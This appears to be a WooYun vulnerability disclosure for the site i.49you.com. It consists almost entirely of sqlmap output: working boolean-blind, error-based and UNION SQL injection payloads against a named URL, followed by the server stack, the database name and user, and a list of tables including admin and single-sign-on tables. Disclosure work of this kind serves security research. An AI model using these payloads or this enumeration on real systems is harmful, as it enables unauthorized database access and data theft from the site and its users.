WooYun.org

http://i.49you.com/news/item/catid/55/id/15.html

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://i.49you.com:80/news/item/catid/55 AND 3684=3684/id/15.html
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://i.49you.com:80/news/item/catid/55 AND (SELECT 4621 FROM(SELECT COUNT(*),CONCAT(0x71706b6a71,(SELECT (ELT(4621=4621,1))),0x716a6b7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)/id/15.html
Type: UNION query
Title: Generic UNION query (NULL) - 17 columns
Payload: http://i.49you.com:80/news/item/catid/55 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x71706b6a71,0x6b4a4c4e7a5864654f71,0x716a6b7171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- /id/15.html
---
[23:37:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.14
back-end DBMS: MySQL 5.0

current database: 'i_49you'
current user: 'i_49you@%'

Database: i_49you
+-------------------+---------+
| Table             | Entries |
+-------------------+---------+
| linkage           | 3284    |
| log               | 2243    |
| menu              | 331     |
| model_field       | 211     |
| attachment        | 148     |
| attachment_index  | 106     |
| category_priv     | 103     |
| keyword_data      | 65      |
| admin_role_priv   | 61      |
| keyword           | 49      |
| cache             | 40      |
| hits              | 34      |
| search            | 34      |
| `module`          | 26      |
| category          | 19      |
| poster            | 17      |
| type              | 16      |
| news              | 11      |
| news_data         | 11      |
| model             | 10      |
| link              | 8       |
| urlrule           | 8       |
| member_group      | 7       |
| poster_space      | 6       |
| test_artice_data  | 6       |
| game              | 5       |
| game_data         | 5       |
| page              | 5       |
| sso_settings      | 5       |
| test_artice       | 5       |
| workflow          | 4       |
| admin             | 3       |
| member_menu       | 3       |
| site              | 3       |
| admin_role        | 2       |
| test_picture      | 2       |
| test_picture_data | 2       |
| `session`         | 1       |
| sso_admin         | 1       |
| sso_applications  | 1       |
| wap               | 1       |
+-------------------+---------+